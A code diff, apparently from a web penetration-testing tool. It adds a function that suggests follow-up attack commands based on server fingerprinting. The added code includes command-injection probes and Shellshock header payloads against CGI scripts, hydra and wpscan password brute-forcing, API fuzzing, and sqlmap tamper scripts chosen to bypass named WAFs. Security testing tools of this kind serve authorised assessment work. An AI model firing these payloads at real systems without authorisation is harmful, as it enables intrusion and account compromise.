|
-
waf_list =
|
|
280
|
-
recommendations[
|
|
319
|
+
waf_list = ", ".join(wafs)
|
|
320
|
+
recommendations["general"]["notes"].append(f"WAF detected: {waf_list}")
|
|
281
321
|
|
|
282
322
|
# SQLMap tamper scripts for common WAFs
|
|
283
323
|
for waf in wafs:
|
|
284
324
|
waf_lower = waf.lower()
|
|
285
|
-
if
|
|
286
|
-
recommendations[
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
elif
|
|
290
|
-
recommendations[
|
|
291
|
-
|
|
292
|
-
|
|
325
|
+
if "cloudflare" in waf_lower:
|
|
326
|
+
recommendations["sqlmap"]["tamper_scripts"].extend(
|
|
327
|
+
["between", "randomcase", "space2comment"]
|
|
328
|
+
)
|
|
329
|
+
elif "akamai" in waf_lower:
|
|
330
|
+
recommendations["sqlmap"]["tamper_scripts"].extend(
|
|
331
|
+
["charencode", "space2plus"]
|
|
332
|
+
)
|
|
333
|
+
elif "imperva" in waf_lower or "incapsula" in waf_lower:
|
|
334
|
+
recommendations["sqlmap"]["tamper_scripts"].extend(
|
|
335
|
+
["randomcase", "between"]
|
|
336
|
+
)
|
|
337
|
+
|
|
338
|
+
if recommendations["sqlmap"]["tamper_scripts"]:
|
|
293
339
|
# Dedupe
|
|
294
|
-
recommendations[
|
|
295
|
-
|
|
340
|
+
recommendations["sqlmap"]["tamper_scripts"] = list(
|
|
341
|
+
set(recommendations["sqlmap"]["tamper_scripts"])
|
|
342
|
+
)
|
|
343
|
+
recommendations["sqlmap"][
|
|
344
|
+
"reason"
|
|
345
|
+
] = f"WAF bypass tamper scripts for {waf_list}"
|
|
296
346
|
|
|
297
347
|
# CDN recommendations
|
|
298
|
-
cdns = parsed_data.get(
|
|
348
|
+
cdns = parsed_data.get("cdn", [])
|
|
299
349
|
if cdns:
|
|
300
|
-
cdn_list =
|
|
301
|
-
recommendations[
|
|
350
|
+
cdn_list = ", ".join(cdns)
|
|
351
|
+
recommendations["general"]["notes"].append(
|
|
302
352
|
f"CDN detected: {cdn_list} - responses may be cached, hitting edge not origin"
|
|
303
353
|
)
|
|
304
354
|
|
|
305
355
|
return recommendations
|
|
306
356
|
|
|
307
357
|
|
|
358
|
+
def generate_next_steps(
|
|
359
|
+
parsed_data: Dict[str, Any], target: str = ""
|
|
360
|
+
) -> List[Dict[str, Any]]:
|
|
361
|
+
"""
|
|
362
|
+
Generate suggested manual next steps based on fingerprint findings.
|
|
363
|
+
|
|
364
|
+
Each step includes:
|
|
365
|
+
- title: Short description of what to try
|
|
366
|
+
- command: Example command to run (if applicable)
|
|
367
|
+
- reason: Why this step is suggested
|
|
368
|
+
|
|
369
|
+
Args:
|
|
370
|
+
parsed_data: Output from parse_http_fingerprint_output()
|
|
371
|
+
target: Target URL for command examples
|
|
372
|
+
|
|
373
|
+
Returns:
|
|
374
|
+
List of next step dicts
|
|
375
|
+
"""
|
|
376
|
+
next_steps = []
|
|
377
|
+
target_url = target or parsed_data.get("target", "")
|
|
378
|
+
|
|
379
|
+
# Extract base URL for commands
|
|
380
|
+
base_url = target_url.rstrip("/")
|
|
381
|
+
|
|
382
|
+
# CGI paths detected - command injection testing
|
|
383
|
+
robots_paths = parsed_data.get("robots_paths", [])
|
|
384
|
+
cgi_paths = [
|
|
385
|
+
p
|
|
386
|
+
for p in robots_paths
|
|
387
|
+
if "/cgi-bin/" in p or p.endswith(".cgi") or p.endswith(".pl")
|
|
388
|
+
]
|
|
389
|
+
if cgi_paths:
|
|
390
|
+
cgi_example = cgi_paths[0]
|
|
391
|
+
next_steps.append(
|
|
392
|
+
{
|
|
393
|
+
"title": "Test CGI scripts for command injection",
|
|
394
|
+
"commands": [
|
|
395
|
+
f'curl "{cgi_example}?param=;id"',
|
|
396
|
+
f'curl "{cgi_example}?param=|id"',
|
|
397
|
+
f'curl "{cgi_example}?param=`id`"',
|
|
398
|
+
],
|
|
399
|
+
"reason": f"Found {len(cgi_paths)} CGI script(s) - common command injection targets",
|
|
400
|
+
}
|
|
401
|
+
)
|
|
402
|
+
next_steps.append(
|
|
403
|
+
{
|
|
404
|
+
"title": "Test for Shellshock vulnerability",
|
|
405
|
+
"commands": [
|
|
406
|
+
f"curl -A '() {{ :; }}; /bin/id' \"{cgi_example}\"",
|
|
407
|
+
f'curl -H "Cookie: () {{ :; }}; /bin/id" "{cgi_example}"',
|
|
408
|
+
],
|
|
409
|
+
"reason": "CGI scripts on older systems may be vulnerable to Shellshock (CVE-2014-6271)",
|
|
410
|
+
}
|
|
411
|
+
)
|
|
412
|
+
|
|
413
|
+
# Admin panels detected - authentication testing
|
|
414
|
+
admin_panels = parsed_data.get("admin_panels", [])
|
|
415
|
+
if admin_panels:
|
|
416
|
+
admin_url = admin_panels[0].get("url", "")
|
|
417
|
+
next_steps.append(
|
|
418
|
+
{
|
|
419
|
+
"title": "Test admin panel with default credentials",
|
|
420
|
+
"commands": [
|
|
421
|
+
f'hydra -L users.txt -P passwords.txt {admin_url} http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"',
|
|
422
|
+
],
|
|
423
|
+
"reason": f"Found {len(admin_panels)} admin panel(s) - try default/common credentials",
|
|
424
|
+
}
|
|
425
|
+
)
|
|
426
|
+
|
|
427
|
+
# CMS detected - CMS-specific attacks
|
|
428
|
+
cms_detected = parsed_data.get("cms_detected")
|
|
429
|
+
if cms_detected:
|
|
430
|
+
cms_name = cms_detected.get("name", "").lower()
|
|
431
|
+
if "wordpress" in cms_name:
|
|
432
|
+
next_steps.append(
|
|
433
|
+
{
|
|
434
|
+
"title": "Enumerate WordPress users and plugins",
|
|
435
|
+
"commands": [
|
|
436
|
+
f"wpscan --url {base_url} --enumerate u,p,t",
|
|
437
|
+
f"wpscan --url {base_url} --passwords data/wordlists/passwords_brute.txt --usernames admin",
|
|
438
|
+
],
|
|
439
|
+
"reason": "WordPress detected - enumerate users, plugins, themes for vulnerabilities",
|
|
440
|
+
}
|
|
441
|
+
)
|
|
442
|
+
elif "joomla" in cms_name:
|
|
443
|
+
next_steps.append(
|
|
444
|
+
{
|
|
445
|
+
"title": "Enumerate Joomla components",
|
|
446
|
+
"commands": [
|
|
447
|
+
f"joomscan -u {base_url}",
|
|
448
|
+
],
|
|
449
|
+
"reason": "Joomla detected - scan for vulnerable components",
|
|
450
|
+
}
|
|
451
|
+
)
|
|
452
|
+
elif "drupal" in cms_name:
|
|
453
|
+
next_steps.append(
|
|
454
|
+
{
|
|
455
|
+
"title": "Check for Drupalgeddon vulnerabilities",
|
|
456
|
+
"commands": [
|
|
457
|
+
f"droopescan scan drupal -u {base_url}",
|
|
458
|
+
],
|
|
459
|
+
"reason": "Drupal detected - check for known vulnerabilities",
|
|
460
|
+
}
|
|
461
|
+
)
|
|
462
|
+
|
|
463
|
+
# API endpoints detected - API testing
|
|
464
|
+
api_endpoints = parsed_data.get("api_endpoints", [])
|
|
465
|
+
if api_endpoints:
|
|
466
|
+
api_url = api_endpoints[0].get("url", "")
|
|
467
|
+
next_steps.append(
|
|
468
|
+
{
|
|
469
|
+
"title": "Enumerate API endpoints and test authentication",
|
|
470
|
+
"commands": [
|
|
471
|
+
f"curl -s {api_url} | jq .",
|
|
472
|
+
f'ffuf -u "{base_url}/api/FUZZ" -w data/wordlists/api_endpoints_large.txt',
|
|
473
|
+
],
|
|
474
|
+
"reason": f"Found {len(api_endpoints)} API endpoint(s) - test for auth bypass and injection",
|
|
475
|
+
}
|
|
476
|
+
)
|
|
477
|
+
|
|
478
|
+
# Old server version - CVE lookup
|
|
479
|
+
server = parsed_data.get("server", "")
|
|
480
|
+
if server:
|
|
481
|
+
# Extract version info
|
|
482
|
+
version_match = re.search(r"[\d.]+", server)
|
|
483
|
+
if version_match:
|
|
484
|
+
next_steps.append(
|
|
485
|
+
{
|
|
486
|
+
"title": f"Search for {server} exploits",
|
|
487
|
+
"commands": [
|
|
488
|
+
f'searchsploit "{server}"',
|
|
489
|
+
],
|
|
490
|
+
"reason": f"Check for known vulnerabilities in {server}",
|
|
491
|
+
}
|
|
492
|
+
)
|
|
493
|
+
|
|
494
|
+
# WAF detected - bypass techniques
|
|
495
|
+
waf = parsed_data.get("waf", [])
|
|
496
|
+
if waf:
|
|
497
|
+
waf_name = waf[0] if waf else "WAF"
|
|
498
|
+
next_steps.append(
|
|
499
|
+
{
|
|
500
|
+
"title": f"WAF bypass techniques for {waf_name}",
|
|
501
|
+
"commands": [
|
|
502
|
+
f"wafw00f {base_url}",
|
|
503
|
+
],
|
|
504
|
+
"reason": f"{waf_name} detected - may need encoding/tamper techniques for injection attacks",
|
|
505
|
+
}
|
|
506
|
+
)
|
|
507
|
+
|
|
508
|
+
# Interesting paths in robots.txt (non-CGI)
|
|
509
|
+
interesting_paths = [
|
|
510
|
+
p
|
|
511
|
+
for p in robots_paths
|
|
512
|
+
if any(
|
|
513
|
+
kw in p.lower()
|
|
514
|
+
for kw in [
|
|
515
|
+
"admin",
|
|
516
|
+
"backup",
|
|
517
|
+
"config",
|
|
518
|
+
"db",
|
|
519
|
+
"secret",
|
|
520
|
+
"private",
|
|
521
|
+
"upload",
|
|
522
|
+
"api",
|
|
523
|
+
".git",
|
|
524
|
+
".env",
|
|
525
|
+
]
|
|
526
|
+
)
|
|
527
|
+
]
|
|
528
|
+
if interesting_paths and not cgi_paths: # Don't duplicate if CGI already shown
|
|
529
|
+
next_steps.append(
|
|
530
|
+
{
|
|
531
|
+
"title": "Check sensitive paths from robots.txt",
|
|
532
|
+
"commands": [f'curl -s "{p}"' for p in interesting_paths[:3]],
|
|
533
|
+
"reason": f"Found {len(interesting_paths)} potentially sensitive path(s) in robots.txt",
|
|
534
|
+
}
|
|
535
|
+
)
|
|
536
|
+
|
|
537
|
+
# If redirect detected - follow it
|
|
538
|
+
redirect_url = parsed_data.get("redirect_url")
|
|
539
|
+
if redirect_url:
|
|
540
|
+
next_steps.append(
|
|
541
|
+
{
|
|
542
|
+
"title": "Follow redirect and scan new target",
|
|
543
|
+
"commands": [
|
|
544
|
+
f'curl -Ls "{redirect_url}"',
|
|
545
|
+
],
|
|
546
|
+
"reason": f"Site redirects to {redirect_url} - scan the actual destination",
|
|
547
|
+
}
|
|
548
|
+
)
|
|
549
|
+
|
|
550
|
+
return next_steps
|
|
551
|
+
|
|
552
|
+
|
|
308
553
|
# Export the main functions
|
|
309
554
|
__all__ = [
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
555
|
+
"parse_http_fingerprint_output",
|
|
556
|
+
"is_managed_hosting",
|
|
557
|
+
"get_managed_hosting_platform",
|
|
558
|
+
"has_waf",
|
|
559
|
+
"get_wafs",
|
|
560
|
+
"has_cdn",
|
|
561
|
+
"get_cdns",
|
|
562
|
+
"build_fingerprint_context",
|
|
563
|
+
"get_tool_recommendations",
|
|
564
|
+
"get_effective_url",
|
|
565
|
+
"generate_next_steps",
|
|
319
566
|
]
|